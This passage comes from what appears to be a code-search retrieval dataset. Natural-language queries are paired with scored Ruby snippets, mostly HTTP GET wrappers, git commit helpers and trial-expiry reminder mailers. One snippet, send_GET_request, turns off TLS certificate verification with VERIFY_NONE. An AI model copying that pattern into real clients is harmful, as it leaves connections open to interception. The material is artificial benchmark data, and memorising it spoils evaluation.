"text": "def write_commit_info(tree, parents, message)\n contents = []\n contents << ['tree', tree].join(' ')\n parents.each do |p|\n contents << ['parent', p].join(' ') if p \n end\n\n name = config_get('user.name')\n email = config_get('user.email')\n author_string = \"#{name} <#{email}> #{Time.now.to_i} #{formatted_offset}\"\n contents << ['author', author_string].join(' ')\n contents << ['committer', author_string].join(' ')\n contents << ''\n contents << message\n \n get_raw_repo.put_raw_object(contents.join(\"\\n\"), 'commit') \n end",
"title": ""
},
{
"docid": "386a148d86638d52801f824b3be69382",
"score": "0.5055551",
"text": "def md5; Digest::MD5.file(fname).hexdigest; end",
"title": ""
},
{
"docid": "25c7b1379f04b54268d1105ed4b2f6db",
"score": "0.5040112",
"text": "def sha\n id.sha\n end",
"title": ""
},
{
"docid": "4a64763cc988be0ea74b94b80748437d",
"score": "0.5028707",
"text": "def repo_commit(msg)\n git :add => '-u'\n git :add => '.'\n git :commit => \"-m \\\"#{msg}\\\"\" \n end",
"title": ""
}
] |
99dff10018424cb6dc4bb6116cb03e47 | Perform a HTTP GET request. | [
{
"docid": "0e1b604371e864649f79ea1c2bf1ca4a",
"score": "0.78356934",
"text": "def get(opts = {})\n http_request(opts, :get)\n end",
"title": ""
}
] | [
{
"docid": "20b4e8b9540e745812db41d5d6cfa0a0",
"score": "0.8260999",
"text": "def request_get(path)\n request(Net::HTTP::Get.new(path))\n end",
"title": ""
},
{
"docid": "05a1e2ea8c7f5a0247a3adb18c9a6b39",
"score": "0.81243056",
"text": "def make_get_request\n\t\tpath = self.path\n\t\tpath += '?' + self.get_query_args unless self.params.empty?\n\t\treturn Net::HTTP::Get.new( path, self.headers )\n\tend",
"title": ""
},
{
"docid": "f24ee87614ba5dbbf923ca15ea4cbaaf",
"score": "0.8059043",
"text": "def http_get\n set :httpget, true\n http :GET\n end",
"title": ""
},
{
"docid": "f709b92f1170a409b66a1b5fda8dc64d",
"score": "0.8049892",
"text": "def get path, query = nil, headers = {}\n send_request :get, path, headers, :query => query\n end",
"title": ""
},
{
"docid": "5590674950dd9788da1ee55179145c53",
"score": "0.8012796",
"text": "def get(path, params={}); make_request(:get, host, port, path, params); end",
"title": ""
},
{
"docid": "aa78232044ae413e55ab049c7896eb04",
"score": "0.7965559",
"text": "def do_get(path, params=nil, options={})\n do_request(:get, path, {:query => params}.merge(options))\n end",
"title": ""
},
{
"docid": "2bf034ae888b56b3556847aeb127c63c",
"score": "0.79616654",
"text": "def get(path)\n request(Net::HTTP::Get, path)\n end",
"title": ""
},
{
"docid": "caf5928fc2f4577683f5d58b1969d849",
"score": "0.7959448",
"text": "def get(url, **options)\n do_request('get', url, **options)\n end",
"title": ""
},
{
"docid": "21e3f1d386c8f20f02eaccb2498cc07a",
"score": "0.795941",
"text": "def get(path)\n http_execute(Net::HTTP::Get.new(path))\n end",
"title": ""
},
{
"docid": "34a206b0945172eef2fc315af3c493a8",
"score": "0.7959136",
"text": "def http_get(path)\r\n response, data = @http.get(path)\r\n end",
"title": ""
},
{
"docid": "c9b67259f11c207aeff36b9839ea48fa",
"score": "0.7950691",
"text": "def get(path, options={})\n do_request :get, path, options\n end",
"title": ""
},
{
"docid": "8fded01a2c3f0110c7983776ab3920bc",
"score": "0.7942361",
"text": "def get_request(url)\n do_request(url, Net::HTTP::Get)\n end",
"title": ""
},
{
"docid": "26a85743c7d3955a0e787acd7bee53d4",
"score": "0.79300916",
"text": "def get\n uri = Addressable::URI.parse to_url\n\n req = Net::HTTP::Get.new(uri.path)\n\n req.basic_auth user, password if user && password\n\n r = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(req)\n }\n\n r.code == '200' ? r.body : ''\n end",
"title": ""
},
{
"docid": "ac6f01289aa56127952e2b947885f365",
"score": "0.79194134",
"text": "def do_get url, params\n \n # Convert all the params to strings\n request_params = convert_params_for_request(params)\n \n # Add in the common params\n append_common_params(request_params)\n \n queryString = \"\"\n request_params.keys.each_with_index do |key, index|\n queryString << \"#{index == 0 ? '?' : '&'}#{key}=#{::URI.escape(request_params[key])}\"\n end\n \n # Create the request\n http = Net::HTTP.new(url.host, url.port)\n response = http.start() {|req| req.get(url.path + queryString)}\n \n return Episodic::Platform::HTTPResponse.new(response.code, response.body)\n end",
"title": ""
},
{
"docid": "7805ec1e82944389ee413dcc56466f7f",
"score": "0.7887164",
"text": "def send_GET_request path\n Net::HTTP.start(@url.hostname, @url.port, :use_ssl => @url.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n request = Net::HTTP::Get.new(path)\n request.basic_auth @username, @password\n request['Accept'] = 'application/json'\n http.request request\n end\n end",
"title": ""
},
{
"docid": "546435f9217e2529446316af329850c9",
"score": "0.7877543",
"text": "def get(headers=false); call_client(:get, headers); end",
"title": ""
},
{
"docid": "c17a8dca4af5c5573927ff577bb661dd",
"score": "0.78458863",
"text": "def http_get(client, url, extra_params = {})\n http_request(client, :get, url, nil, extra_params)\n end",
"title": ""
},
{
"docid": "c17a8dca4af5c5573927ff577bb661dd",
"score": "0.78458863",
"text": "def http_get(client, url, extra_params = {})\n http_request(client, :get, url, nil, extra_params)\n end",
"title": ""
},
{
"docid": "8634cdefcf427720626ace6a8886ca32",
"score": "0.78307307",
"text": "def GET(path)\n resp = @http.get(path, @headers)\n puts \"GET resp: #{resp}\\n\\n\" if @@debug\n return resp\n end",
"title": ""
},
{
"docid": "7a2fa2f9c0200524d18b7a3dc7808a05",
"score": "0.7822989",
"text": "def get(url, options = {})\n do_request(:get, url, options)\n end",
"title": ""
},
{
"docid": "bbe97b6481847184227777a03ac98e2f",
"score": "0.78080845",
"text": "def get(path, query = nil, headers = {})\n request(Net::HTTP::Get.new(path, headers), query)\n end",
"title": ""
},
{
"docid": "41fb399ea7ede8ed6e962af148d228b8",
"score": "0.7798758",
"text": "def get\n client.get(url)\n end",
"title": ""
},
{
"docid": "2383b9a6f62406cd76500b9649620a97",
"score": "0.77512753",
"text": "def get(path)\n perform_request(:get, path, '')\n end",
"title": ""
},
{
"docid": "a7c14b9809cb28bc6c863158a7404e8e",
"score": "0.7745758",
"text": "def get(*args)\n http_client.get(uri, *merge_http_options(args))\n end",
"title": ""
},
{
"docid": "f93db81b043fab3312facdea91820e91",
"score": "0.77447987",
"text": "def get(url, opts={})\n request('get', url, opts)\n end",
"title": ""
},
{
"docid": "be0efdd07fa9e33240e8d245198efaf0",
"score": "0.77419424",
"text": "def get(path, params = {}, options = {})\n raw_request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "bdc4aeedd2388efaf120b5c46f61a659",
"score": "0.7740479",
"text": "def get(url)\n request :get, url\n end",
"title": ""
},
{
"docid": "0bcd046f2b687f02e1aaaa27c16be321",
"score": "0.7735631",
"text": "def get(path, options = {})\n request = Net::HTTP::Get.new(request_uri(path))\n make_request(request, options.merge(no_callbacks: true))\n end",
"title": ""
},
{
"docid": "6a3a7796d3ae3a197d11b06202cf9416",
"score": "0.7718638",
"text": "def get(path, params={}, headers={})\r\n perform_request(:get, uri_with_query(path, params), '', headers)\r\n end",
"title": ""
},
{
"docid": "2a2038fd771e033b4cd6487ed67345f6",
"score": "0.7709664",
"text": "def get(path, options={})\n send_request(:get, path, options)\n end",
"title": ""
},
{
"docid": "b3aba59ac5dddb28383689779b21cd04",
"score": "0.77087724",
"text": "def get(url, header = nil)\n _make_request \"GET\", url, nil, header\n end",
"title": ""
},
{
"docid": "31f7c6637eb0a6aa063c23c819a63a0c",
"score": "0.7705172",
"text": "def make_get_request uri:, params: {}, options: {}\n make_http_request :get, uri: uri, body: nil, params: params, options: options\n end",
"title": ""
},
{
"docid": "16b4de6e8a2ea13e1c23fbc43b7cf45d",
"score": "0.77047557",
"text": "def get(path, params = {})\n make_request :get, path, params\n end",
"title": ""
},
{
"docid": "31f7c6637eb0a6aa063c23c819a63a0c",
"score": "0.77032787",
"text": "def make_get_request uri:, params: {}, options: {}\n make_http_request :get, uri: uri, body: nil, params: params, options: options\n end",
"title": ""
},
{
"docid": "c467e122dc65ea0ad6a499245c49d7b3",
"score": "0.769997",
"text": "def get(path, params=nil)\n request('GET', path, params)\n end",
"title": ""
},
{
"docid": "a5a8fa2dabaf4bab93b08ab62a6707af",
"score": "0.7699167",
"text": "def get(url)\n\n request(url, 'GET', '')\n\n end",
"title": ""
},
{
"docid": "a5a8fa2dabaf4bab93b08ab62a6707af",
"score": "0.7699167",
"text": "def get(url)\n\n request(url, 'GET', '')\n\n end",
"title": ""
},
{
"docid": "6da65a70dbfe287c8a01a0ef04b556ae",
"score": "0.7692723",
"text": "def get( url, params = nil)\n do_request( :get, url, params)\n end",
"title": ""
},
{
"docid": "0e0ee608ba28ccc10500fa7175946e48",
"score": "0.7678927",
"text": "def get(url, options = {})\n request(:get, url, options)\n end",
"title": ""
},
{
"docid": "4a94ac72d2ce118a7b3e3968ee906ae3",
"score": "0.76688135",
"text": "def send_get(uri)\n _send_request('GET', uri, nil)\n end",
"title": ""
},
{
"docid": "bab21fd96c01b2ecf520c8513847226a",
"score": "0.7668014",
"text": "def get(url, query = nil, options = {})\n send_request_with_method(:get, url, options.merge(query: query))\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "57c446a728b5374691d614c8596140ba",
"score": "0.76654786",
"text": "def get(path, params={}, options={})\n request(:get, path, params, options)\n end",
"title": ""
},
{
"docid": "7f271a3f702d22e82981d188500c74aa",
"score": "0.76599544",
"text": "def get(url, **args)\n @http_client.get(url, **args)\n end",
"title": ""
},
{
"docid": "249c51f9000093bea16a8087eba9fcf1",
"score": "0.76567996",
"text": "def get(path, data = {}, headers = {})\n exec_request(:get, path, data, headers)\n end",
"title": ""
},
{
"docid": "0b1a66946a229ec6d1dc6953fc71e5f0",
"score": "0.7652502",
"text": "def get\n resp = conn.get(@path, @params)\n parse_response(resp)\n end",
"title": ""
},
{
"docid": "b21faa41f9d954278f086d117266fccc",
"score": "0.76377594",
"text": "def get(path, headers = {}, options = {})\n request(:GET, path, headers, options)\n end",
"title": ""
},
{
"docid": "75f6cf38795b7d23828a4b26a3688119",
"score": "0.7633202",
"text": "def get!\n uri.query = URI.encode_www_form(@params)\n\n request = Net::HTTP::Get.new(uri)\n response = get_response(request)\n GunBroker::Response.new(response)\n end",
"title": ""
},
{
"docid": "77bdaabb7fa46a06bbbf929b71a73ca5",
"score": "0.7623129",
"text": "def get(path)\n _request(:get, path)\n end",
"title": ""
},
{
"docid": "a8a0bb49f1e8bc9a64f1ec5c6e300f2d",
"score": "0.7620557",
"text": "def get(path, params={})\n respond perform_request(:get, path, params)\n end",
"title": ""
},
{
"docid": "a68a548b5cb19379d6652e348c57d28c",
"score": "0.76185894",
"text": "def get(uri, query = nil, headers = {})\n request :get, uri, query: query, headers: headers\n end",
"title": ""
},
{
"docid": "2fee72ba5fe8b78fa78b179c0e17a4bd",
"score": "0.7604721",
"text": "def get(path, headers = {})\n request(:GET, path, headers)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "624180f2d5e77f360034d40d261ef1e6",
"score": "0.7593938",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "354cc5821bb456bfb5291cfa6cabe58b",
"score": "0.75843924",
"text": "def get(path, query=nil, headers={})\n run :get, path, query, headers\n end",
"title": ""
},
{
"docid": "f6bb922289f9f18b430f5a671eac6c6d",
"score": "0.7583642",
"text": "def get(request)\n do_request(request) { |client| client.http_get }\n end",
"title": ""
},
{
"docid": "674da841bf4aaeac076715c6278a9c5f",
"score": "0.7581196",
"text": "def get(path, params={})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "9ae8795358f48968beb93ccf69d775f0",
"score": "0.7575465",
"text": "def get(url)\n\tself.fetch(url, method: \"GET\")\nend",
"title": ""
},
{
"docid": "ea3382937e0cad2310fe7020a0baa21e",
"score": "0.7573718",
"text": "def get(path , params = {})\n request(:get , path , params)\n end",
"title": ""
},
{
"docid": "864e703032e8093ae5f649aa0cd824ba",
"score": "0.7568434",
"text": "def get(path)\n request(:get, path)\n end",
"title": ""
},
{
"docid": "3cc46005dc7b1f98c6e4f99fff3a243f",
"score": "0.7566264",
"text": "def get path, query_params = {}, request_headers = {}\n if query_params.delete_if { |_,v| v.nil? }.empty?\n get_uri = path\n else\n uri_class = uri.scheme == \"https\" ? URI::HTTPS : URI::HTTP\n get_uri = uri_class.build :host => uri.host,\n :path => path,\n :query => URI.encode_www_form(query_params)\n end\n\n get_headers = headers request_headers\n get_request = Net::HTTP::Get.new get_uri, get_headers\n\n connection_do get_request\n end",
"title": ""
},
{
"docid": "dd004bb4d05a2451db2be7a27dd5ff32",
"score": "0.75576746",
"text": "def get(path, opts = {})\n request('GET', path, opts)\n end",
"title": ""
},
{
"docid": "2eac042cea78640b26e7b61b6d76ba1b",
"score": "0.7545704",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "81faa4a79a959e7061efeb4e4e0eb8f3",
"score": "0.7543033",
"text": "def get(uri, params = {})\n send_request(uri, :get, params)\n end",
"title": ""
},
{
"docid": "0d2151d1ef261d1f05023c8e9c952373",
"score": "0.7541211",
"text": "def get(path)\n request(:get, path)\n end",
"title": ""
},
{
"docid": "6679ba58aa47fff9c7154ae50bad99ee",
"score": "0.7540174",
"text": "def get(path, params = {})\n request :get, path, {}, params\n end",
"title": ""
},
{
"docid": "3b234a276d18474b428fc6be08bcc716",
"score": "0.75397706",
"text": "def get(path, options={}, request_opts={})\n request(:get, path, options, request_opts)\n end",
"title": ""
},
{
"docid": "20fc8fed07183aad3fc218123391cf1e",
"score": "0.75268936",
"text": "def get(path, params={})\n perform(:get, path, params)\n end",
"title": ""
},
{
"docid": "3855b7ea5af9e5a866d3e61203355937",
"score": "0.7524584",
"text": "def do_get\n uri = URI.parse(\"http://www.google.ca/\")\n\n # Shortcut\n response = Net::HTTP.get_response(uri)\n # Will print response.body\n Net::HTTP.get_print(uri)\nend",
"title": ""
},
{
"docid": "d92262a2494467cc2a8ef292b6e8cb4b",
"score": "0.752356",
"text": "def get(path, options={})\n request(:get, path, options)\n end",
"title": ""
},
{
"docid": "888a12badabb7e958b50654951084fde",
"score": "0.75127476",
"text": "def get(path, params = {})\n request(:get, path, params, request_headers)\n end",
"title": ""
},
{
"docid": "55a89ec1994130ca075a6d62eb0743b3",
"score": "0.7510192",
"text": "def get(url = nil)\n issue_request(url, :get_response)\n end",
"title": ""
},
{
"docid": "4dd0df0c616b8a9de78288eb69adfdc9",
"score": "0.7507246",
"text": "def http_get(path)\n Net::HTTP::Get.new(path, \"accept\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
},
{
"docid": "4abf3b091edd7e63e63cc4bf4c64bf7c",
"score": "0.75017786",
"text": "def get(path, params = {})\n request(:get, path, params)\n end",
"title": ""
}
] |
2dbd4b1b5f7e87a7e4aed6fd89661265 | send trial expiry reminder 1 day before expiry set trial_expiry_reminder_two_sent to Date.today | [
{
"docid": "92617cfcf4a2596ccbf4cfcd3601a581",
"score": "0.87674665",
"text": "def send_trial_expiry_reminder_two\n BookingMailer.send_expiry_reminder_two(self).deliver_later\n # set date so email doesn't get send again\n self.trial_expiry_reminder_two_sent = Date.today\n save!\n end",
"title": ""
}
] | [
{
"docid": "189cbe05eb2a306ce68eac4908ddc856",
"score": "0.86253935",
"text": "def send_trial_expiry_reminder_one\n BookingMailer.send_expiry_reminder_one(self).deliver_later\n # set date so email doesn't get send again\n self.trial_expiry_reminder_one_sent = Date.today\n save!\n end",
"title": ""
},
{
"docid": "6f4c13fb965084677513eb884e637cc8",
"score": "0.8311944",
"text": "def send_trial_expired_two\n BookingMailer.send_trial_expired_two(self).deliver_later\n self.trial_expired_two_sent = Date.today\n save!\n end",
"title": ""
},
{
"docid": "d08520a6fa7d1e1847406ec975c33113",
"score": "0.8047529",
"text": "def send_trial_expired_one\n BookingMailer.send_trial_expired_one(self).deliver_later\n self.trial_expired_one_sent = Date.today\n save!\n end",
"title": ""
},
{
"docid": "7193410153e3a74462f74736f3127bde",
"score": "0.76437116",
"text": "def send_2_days_till_expire_email\n holder = User.account_holder_for_account(self.account)\n\n # Different email depending on if a user has used their account\n if self.account.users.length <= 1 && self.account.projects.length <= 1\n unless self.email_3_sent?\n # Reset trial date if first time in here\n self.account.trial_expires_at = 14.days.from_now\n self.account.save(:validate => false)\n AccountMailer.trial_email_3(self.account, holder).deliver\n\n self.update_attributes(:email_3_sent => true, :trial_path => 2)\n end\n else\n AccountMailer.trial_email_2(self.account, holder).deliver unless self.email_2_sent?\n self.update_attributes(:email_2_sent => true, :trial_path => 1)\n end\n end",
"title": ""
},
{
"docid": "b7939401e514bb4ba8c8e3f25e0ebae8",
"score": "0.75647116",
"text": "def send_15_days_till_expire_email\n unless self.email_1_sent?\n holder = User.account_holder_for_account(self.account)\n AccountMailer.trial_email_1(self.account, holder).deliver\n self.update_attribute(:email_1_sent, true)\n end\n end",
"title": ""
},
{
"docid": "1b681281fa050cb60fbcad7fc09f5247",
"score": "0.694688",
"text": "def send_expiry_reminder_two(booking)\n @booking = booking\n @account = @booking.account\n @subject = I18n.t(:send_expiry_reminder_two_subject)\n\n mail(to: @account.email,\n subject: @subject,\n bcc: 'go@wundercoach.net')\n end",
"title": ""
},
{
"docid": "8c0739834541998cafe434b375eb3c5a",
"score": "0.6917085",
"text": "def deliver_trial_emails\n if !self.email_1_sent?\n # Send 15 days before end of trial\n self.send_15_days_till_expire_email if !self.account.account_suspended? && self.account.trial_expires_at.present? && self.account.trial_expires_at < 15.days.from_now\n elsif !self.account.account_suspended?\n # Send 2 days before end of trial\n self.send_2_days_till_expire_email if self.account.trial_expires_at.present? && self.account.trial_expires_at < 2.days.from_now\n elsif self.account.account_suspended?\n # Send 5 days after expiry\n self.send_non_user_feedback_request if self.account.trial_expires_at.present? && self.account.trial_expires_at < 5.days.ago\n end\n end",
"title": ""
},
{
"docid": "6abac6704042eb452f77e2f03c683bb9",
"score": "0.68564755",
"text": "def send_trial_expired_two(booking)\n @booking = booking\n @account = @booking.account\n @subject = I18n.t(:send_trial_expired_one_subject)\n\n mail(to: @account.email,\n subject: @subject,\n bcc: 'go@wundercoach.net')\n end",
"title": ""
},
{
"docid": "a26765f388ddc6ec180deffb3d0d78b9",
"score": "0.6696074",
"text": "def send_trial_expired_email\n if self.trial_path.present? && self.trial_path == 1\n holder = User.account_holder_for_account(account)\n AccountMailer.trial_expired(account, holder).deliver\n end\n end",
"title": ""
},
{
"docid": "0357423da462bafdb4f63793d54e48ac",
"score": "0.65991324",
"text": "def send_trial_expired_one(booking)\n @booking = booking\n @account = @booking.account\n @subject = I18n.t(:send_trial_expired_one_subject)\n\n mail(to: @account.email,\n subject: @subject,\n bcc: 'go@wundercoach.net')\n end",
"title": ""
},
{
"docid": "da36b31cd7b259cc813c94dace0b3a62",
"score": "0.65913916",
"text": "def expiration_reminder\n membership = Membership.first\n UserMailer.expiration_reminder(membership)\n end",
"title": ""
},
{
"docid": "1151a5a486c2c11adb7dc47e8143ff37",
"score": "0.6589489",
"text": "def notify_trial_expired\n return unless trial?\n return unless terminated? && unsubscribed_because == 'trial_expired'\n return unless notified_trial_expired_on.nil?\n return if customer.do_not_email?\n Billingly::Mailer.trial_expired_notification(self).deliver!\n update_attribute(:notified_trial_expired_on, Time.now)\n return self\n end",
"title": ""
},
{
"docid": "10b26f407b663f25d09b72cf725d3019",
"score": "0.658403",
"text": "def two_week_reminder\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"title": ""
},
{
"docid": "de412fa2b493c98cb80b49e464b61118",
"score": "0.6575782",
"text": "def send_trial_will_end_email\n template = {\n :template => File.join('reviewers', 'trial_will_end'),\n :locals => { :reviewer => self }\n }\n message = {\n :subject => \"Your Applyance Trial is Expiring\",\n :to => [ { :email => self.account.email, :name => self.account.name } ],\n :merge_vars => [{\n \"rcpt\" => self.account.email,\n \"vars\" => [{ \"content\" => self.account.name, \"name\" => \"name\" }]\n }]\n }\n Applyance::Lib::Emails::Sender::send_template(template, message)\n end",
"title": ""
},
{
"docid": "bd5d482376e3ce242c4335218ade769b",
"score": "0.6568787",
"text": "def expire_after_grace!\n self.state_dsc = 'expiring soon'\n self.expires_on = [Date.today, paid_through].max + Freemium.days_grace\n Freemium.log_subscription_msg(self, \"now set to expire on #{self.expires_on}\")\n Freemium.mailer.deliver_expiration_warning(subscriber, self)\n save_without_revision!\n end",
"title": ""
},
{
"docid": "b552d205719992fbb4924022c02fb01a",
"score": "0.65457755",
"text": "def trial_days(trial_days)\n @trial_expires = Time.current + trial_days.days\n\n self\n end",
"title": ""
},
{
"docid": "e5c2e2d8030044d3b0331b0f69304439",
"score": "0.64808434",
"text": "def notify_trial_will_expire\n return unless trial?\n # return unless terminated? && unsubscribed_because == 'trial_expired'\n return unless notified_trial_will_expire_on.nil?\n return if customer.do_not_email?\n Billingly::Mailer.trial_will_expire_notification(self).deliver!\n update_attribute(:notified_trial_will_expire_on, Time.now)\n return self\n end",
"title": ""
},
{
"docid": "b93d6ab630107ef64b374f6598e99edc",
"score": "0.6463103",
"text": "def notify_of_expired_time(user, decision)\n @user = user\n @decision = decision\n mail(to: @user.email, subject: \"LET'S - You Missed Your Turn!\")\n end",
"title": ""
},
{
"docid": "fc4f035ac783f64ca73cb096d6dfdeda",
"score": "0.6438199",
"text": "def CreatePrepareForTrialReminder\n\t\tuserId = params['messenger user id']\n\t\tuser = GetUserBySenderId(userId).first\n\t\tif user.present?\n \t\t\tcurrentTicket = GetCurrentTicket(user[:id]).first\n \t\t\tif currentTicket.present?\n \t\t\t\tticketId = currentTicket[:id]\n \t\t\t\tcourtDate = GetCourtDateByTicketId(ticketId)\n \t\t\t\tif !courtDate.nil?\n \t\t\t\t\trunAtDate = courtDate - 14.days #reminder to prepare for trial 2 weeks before trial\n\t\t\t\t\tCreateTimer(userId, \"PrepareForTrial\", runAtDate)\n \t\t\t\tend\n \t\t\tend\n\t\tend\n\n\t\trender :html => \"test\"\n\tend",
"title": ""
},
{
"docid": "311d816b7dd28724c746dc98f561a463",
"score": "0.64344615",
"text": "def trial_end_date\n if extended_trial\n extended_trial_end_date\n elsif created_by_invite? && invitation_accepted_at.present?\n invitation_accepted_at + 15.days\n else\n created_at + 15.days\n end\n end",
"title": ""
},
{
"docid": "f3d4f446c10e5f965ed74116a5737f36",
"score": "0.6414496",
"text": "def trial_will_expire_notification(subscription)\n @subscription = subscription\n mail to: subscription.customer.email, subject: I18n.t('billingly.your_trial_will_expire', day: Billingly.trial_before_days)\n end",
"title": ""
},
{
"docid": "cd374be3d96f85eaf1b3c10bc6522cc7",
"score": "0.64071375",
"text": "def notify_expiring\n SubscriptionMailer.notify(@subscription.id).deliver_now\n @subscription.notified_at = Date.today\n @subscription.save!\n if @subscription.user_type == 'organisation'\n redirect_to subscriptions_path(organisation: 'expiring')\n elsif @subscription.user_type == 'independent'\n redirect_to subscriptions_path(independent: 'expiring')\n elsif @subscription.user_type == 'candidate'\n redirect_to subscriptions_path(candidate: 'expiring')\n end\n end",
"title": ""
},
{
"docid": "d1cb96bdf5c9b24ffe1a19c7d6d0cfd5",
"score": "0.6387294",
"text": "def notify_about_expired_trial_period\n if paid_and_trial? && !provider_account.provider_can_use?(:new_notification_system)\n messenger.expired_trial_period_notification(self).deliver\n end\n end",
"title": ""
},
{
"docid": "0f3f43ee89154a710e7e61f11f7b8ed9",
"score": "0.6220325",
"text": "def three_week_reminder\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"title": ""
},
{
"docid": "f30337b2d3336c1e173926696332d17b",
"score": "0.62200505",
"text": "def set_inactive_reminder_date\n @project.update_attributes(:inactive_reminder_sent_at => Date.today)\n end",
"title": ""
},
{
"docid": "d83b372bfffc8533c496499d52762526",
"score": "0.61889845",
"text": "def send_secondary_reminder_email\n UserMailer.secondary_reminder_email(self).deliver_now\n end",
"title": ""
},
{
"docid": "abbce79954658fed8e2892339755c25d",
"score": "0.6153232",
"text": "def test_expired_membership_renewal\n\t\tactual = participants(:one)\n\t\t#to be implemented:\n\t\t#Participant.addnote(actual)\n\t\texpected = Date.today\n\t\tassert_equal(actual.expirydate, expected, \"Membership expiry did not\" +\n\t\t \" update to a year from today\")\n\tend",
"title": ""
},
{
"docid": "0cc419bcf2deb466f68b44701a92016e",
"score": "0.61457086",
"text": "def trial_reminder_email_days=(trial_reminder_email_days)\n\n if !trial_reminder_email_days.nil? && trial_reminder_email_days < 1\n fail ArgumentError, \"invalid value for 'trial_reminder_email_days', must be greater than or equal to 1.\"\n end\n\n @trial_reminder_email_days = trial_reminder_email_days\n end",
"title": ""
},
{
"docid": "457a0570c1ba06359252f2f86bae6c07",
"score": "0.61010724",
"text": "def trial_to_expiration\n return nil if !self.trial?\n self.created_at.to_i + (SETTINGS['saas_trial_duration'] * 86400) - Time.zone.now.to_i\n end",
"title": ""
},
{
"docid": "7040df22cc818e9eda5204294004165c",
"score": "0.60928833",
"text": "def send_reminder_email\n\n sender = EmailTemplateSender.new(\n _reminder_template_name,\n user2\n )\n\n sender.after(self)\n\n # Increment feedback_reminders_count\n self.connection_demand_reminders_count += 1\n\n # save the connection\n save\n end",
"title": ""
},
{
"docid": "ff300095c2e502032e9ea7ec1875cca4",
"score": "0.6090409",
"text": "def expiration_reminder(membership)\n @membership = membership\n @member = @membership.member\n @user = @member.user\n mail to: @user.email, subject: \"Rappel : Expiration de votre abonnement\"\n end",
"title": ""
},
{
